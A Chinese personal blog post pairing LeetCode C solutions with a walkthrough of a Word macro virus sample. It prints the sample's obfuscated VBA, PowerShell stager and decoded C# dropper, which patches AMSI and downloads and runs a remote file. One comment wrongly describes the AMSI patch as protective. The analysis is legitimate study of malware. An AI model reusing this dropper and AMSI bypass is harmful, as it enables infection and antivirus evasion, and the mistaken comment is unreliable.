每日病毒分析和leetcode-4

leetcode 363 矩形区域内不超过K的最大数值和

(直接看的题解)先穷举行,再穷举列,使用库函数可以在O(nlogn)时间复杂度内找到不超过k的数。C直接穷举列了。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int maxSumSubmatrix(int** matrix, int matrixSize, int* matrixColSize, int k){
int xlen=matrixSize;
int ans=INT32_MAX;
if(!xlen)return 0;
int ylen=matrixColSize[0];
if(!ylen)return 0;
int sum[40000];
int ss=0;
// printf("ok\n");
for(int i=0;i<xlen;i++){
memset(sum,0,ylen*sizeof(int));
for(int j=i;j<xlen;j++){
for(int c=0;c<ylen;c++){
sum[c]+=matrix[j][c];
// printf("%d %d %d %d\n",i,j,c,sum[c]);
}
for(int c=0;c<ylen;c++){
ss=0;
for(int cc=c;cc<ylen;cc++){
ss+=sum[cc];
// printf("%d\n",ss);
if(k>=ss&&k-ss<ans){
ans=k-ss;
}
}

}
}
}
return k-ans;
}

368 最大整除子集

对于有序的输入数组,dp[i]表示第i个数能与前面的数构成的最大整除序列。因为除数有这个性质:如果s|d,d|c则s|c,也就是说,若arr[j]与前面的数构成一个整除序列,且arr[j]|arr[i],则arr[i]可以与arr[j]序列中的所有数构成整除序列。这就是动态规划问题。

dp[i]初始化为1

dp[i]=dp[i]%dp[j]==0&&dp[j]>=dp[i]?dp[j]+1:dp[i];

为了记录构成最大数组的序列,还要使用last数组记录i的上一个

为了得到有序的输入,还要复习一下快排算法= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int qSort(int *arr,int start,int end){
int j=end,i=start+1;
int t;
while(i<j+1&&arr[i]<=arr[start])i++;
for(;j>i;j--){
if(arr[j]<=arr[start]){
t=arr[i];
arr[i]=arr[j];
arr[j]=t;
while(i<j&&arr[i]<=arr[start])i++;
}
}
t=arr[i-1];
arr[i-1]=arr[start];
arr[start]=t;
return i-1;
}
void quickSort(int *arr,int start,int end){
if(start>=end)return;
int mid=qSort(arr,start,end);
// printf("%d %d %d\n",start,end,mid);
quickSort(arr,start,mid);
quickSort(arr,mid+1,end);
}
int* largestDivisibleSubset(int* nums, int numsSize, int* returnSize){
int dp[40000];
int last[40000];
int maxind=0;
dp[0]=1;
quickSort(nums,0,numsSize-1);
for(int i=1;i<numsSize;i++){
int maxi=i;
dp[i]=1;
last[i]=i;
for(int j=0;j<i;j++){
if(nums[i]%nums[j]==0&&dp[j]>=dp[maxi]){
maxi=j;
dp[i]=dp[j]+1;
last[i]=j;
if(dp[maxind]<dp[i]){
maxind=i;
}
}
}
}
*returnSize=dp[maxind];
int *res=(int*)malloc(sizeof(int)*dp[maxind]);
for(int i=dp[maxind]-1;i>=0;i--){
res[i]=nums[maxind];
maxind=last[maxind];
}
return res;
}

最后时间比别人快,击败96%;内存消耗比较大,应该是两个40000的数组hhhh。换了malloc果然内存降下来了,剩下的内存消耗应该是快排递归和last数组了。

Word宏病毒样本分析

https://www.52pojie.cn/thread-1287476-1-1.html

第一次分析,详细看看步骤(虚拟机已断网)

调试宏病毒

  1. 按住shift键
  2. 点击开启宏
  3. 释放shift
  4. 按下alt+11打开宏调试器
  5. 调试宏

下面 Sub Document_Open()是入口程序

被混淆了,复制代码之后使用automateexcel.com/vba-code-indenter 格式化一下,得到如下程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Option Explicit

Private Sub SnottineSS(ByVal a1 As Variant, ByVal a2 As Variant, ByVal a3 As Variant, ByVal a4 As Long)

a1.Create Lethbridge(ActiveDocument.Variables("l26cd3c2c2f351").Value), a2, a3, a4

End Sub
Sub Document_Open()

Dim Garniture As Object: Set Garniture = GetObject(Lethbridge(ActiveDocument.Variables("de9a2c49a42b6").Value))
SnottineSS Garniture, Null, Null, 0

End Sub
Private Function Lethbridge(ByVal Garniture As String) As String

Dim Hulkier As Long: Dim Humoursome() As Byte

GoTo NoNapparitioNal

Dickinson:

For Hulkier = 0 To UBound(Humoursome)

Humoursome(Hulkier) = Abs(Humoursome(Hulkier) - 14)
Next

GoTo SnottineSS
Exit Function

Slinky:

MsgBox " Above steps are still valid."

Exit Function
NoNapparitioNal:

Humoursome = StrConv(Garniture, 256 / 2, 1000 + 55)
GoTo Dickinson

Exit Function
SnottineSS:

Lethbridge = StrConv(Humoursome, 32 * 2, 1000 + 55)

Exit Function

GoTo Crossville

Crossville:

MsgBox " this solution will provide modules"
Exit Function
End Function

在 Sub Ducument_Open()下断点,点击运行后进入debug状态

F8单步步入,到Lethbridge中

然后视图->本地窗口,监视变量,之后一直单步步入,碰到循环就执行到光标处,直到ExitFunction前,观察到解密字符串 “winmgmts:\.\root\cimv2:Win32_Process”

搜索这个Win32_Process对象,https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes,得到这个对象主要用来创建进程、获取进程信息

后面这个字符串传入了GetObject,然后传入了SnottineSS函数

然后又解密了一个字符串,运行后得到

1
2
"powershell -WindowStyle Hidden 
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "

格式化一下

1
2
3
4
5
6
7
8
9
10
# powershell -WindowStyle Hidden 
function y171e {
param($z4627)$k58be9 = 'a57157c';
$yce74a = '';
for ($i = 0; $i -lt $z4627.length; $i += 2) {
$vc2775 = [convert]::ToByte($z4627.Substring($i, 2), 16);
$yce74a += [char]($vc2775 -bxor $k58be9[($i / 2) % $k58be9.length]);
}
return
}

第一条命令运行一个ps1脚本

TODO 此处没调试到powershell的真实脚本?

直接使用文章里的

1
2
3
4
5
6
powershell  Hidden 
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}
$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();

到了$z24c5732赋直接echo $z24c5732,就得到了下面的cs代码

1
2
using System;using System.Runtime.InteropServices;using System.Diagnostics;using System.IO;using System.Net;
public class yba2983{[DllImport("kernel32",EntryPoint="GetProcAddress")]public static extern IntPtr v779b(IntPtr x8d356,string v7be73);[DllImport("kernel32",EntryPoint="LoadLibrary")]public static extern IntPtr e6656d9(string zc6ea);[DllImport("kernel32",EntryPoint="VirtualProtect")]public static extern bool h7c586(IntPtr mda7864,UIntPtr k27bc1b,uint xcdaf29,out uint r84b39);[DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]static extern void ef5ae(IntPtr a948e8,IntPtr l8b12e,int g4c6e);public static int c193b(){IntPtr c2ae2d6=e6656d9(y171e("005844581b530f0d"));if(c2ae2d6!=IntPtr.Zero){IntPtr r963493=v779b(c2ae2d6,y171e("205844586654020f774257535211"));if(r963493!=IntPtr.Zero){UIntPtr hbaa2d=(UIntPtr)5;uint k9c379=0;if(h7c586(r963493,hbaa2d,0x40,out k9c379)){Byte[] je1ed={0x31,0xff,0x90};IntPtr nb327a=Marshal.AllocHGlobal(3);Marshal.Copy(je1ed,0,nb327a,3);ef5ae(new IntPtr(r963493.ToInt64()+0x001b),nb327a,3);}}}string s183fa=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\c9255" + y171e("4f504f54");new WebClient().DownloadFile(y171e("09414341460d4c4e56565f5b5601084647435a470613414e534758080447441f56580e4e4558411a0f2c16627c437366530664587a410e4d044d52"),s183fa);ProcessStartInfo y6cb2=new ProcessStartInfo(s183fa);Process.Start(y6cb2);return 0;}public static string y171e(string me8994){string x8d356="a57157c";string e6656d9="";for(int i=0; i<me8994.Length;i+=2){byte v779b=Convert.ToByte(me8994.Substring(i,2),16);e6656d9+=(char)(v779b^x8d356[(i/2)%x8d356.Length]);}return e6656d9;}}

格式化之后

using System;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;
public class yba2983
{
[DllImport("kernel32",EntryPoint="GetProcAddress")]public static extern IntPtr v779b(IntPtr x8d356,string v7be73);
[DllImport("kernel32",EntryPoint="LoadLibrary")]public static extern IntPtr e6656d9(string zc6ea);
[DllImport("kernel32",EntryPoint="VirtualProtect")]public static extern bool h7c586(IntPtr mda7864,UIntPtr k27bc1b,uint xcdaf29,out uint r84b39);
[DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]static extern void ef5ae(IntPtr a948e8,IntPtr l8b12e,int g4c6e);
public static int c193b()
{
IntPtr c2ae2d6=e6656d9(y171e("005844581b530f0d"));
if(c2ae2d6!=IntPtr.Zero)
{
IntPtr r963493=v779b(c2ae2d6,y171e("205844586654020f774257535211"));
if(r963493!=IntPtr.Zero)
{
UIntPtr hbaa2d=(UIntPtr)5;
uint k9c379=0;
if(h7c586(r963493,hbaa2d,0x40,out k9c379))
{
byte[] je1ed={0x31,0xff,0x90}; // 这里的patch是绕过AMSI检测,可以防护病毒的入侵 https://xz.aliyun.com/t/4377 https://xz.aliyun.com/t/3095
IntPtr nb327a=Marshal.AllocHGlobal(3);
Marshal.Copy(je1ed,0,nb327a,3);
ef5ae(new IntPtr(r963493.ToInt64()+0x001b),nb327a,3);
}
}
}
string s183fa=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\c9255" + y171e("4f504f54");
new WebClient().DownloadFile(y171e("09414341460d4c4e56565f5b5601084647435a470613414e534758080447441f56580e4e4558411a0f2c16627c437366530664587a410e4d044d52"),s183fa);
ProcessStartInfo y6cb2=new ProcessStartInfo(s183fa);
Process.Start(y6cb2);
return 0;
}
public static string y171e(string me8994)
{
string x8d356="a57157c";
string e6656d9="";
for (int i=0; i<me8994.Length;i+=2)
{
byte v779b=Convert.Tobyte(me8994.Substring(i,2),16);
e6656d9+=(char)(v779b^x8d356[(i/2)%x8d356.Length]);
}
return e6656d9;
}}

可以使用VS的重命名把对应的系统函数重命名掉。y171e就是解密函数了。

实现的功能就是从对应的URL下载文件并执行。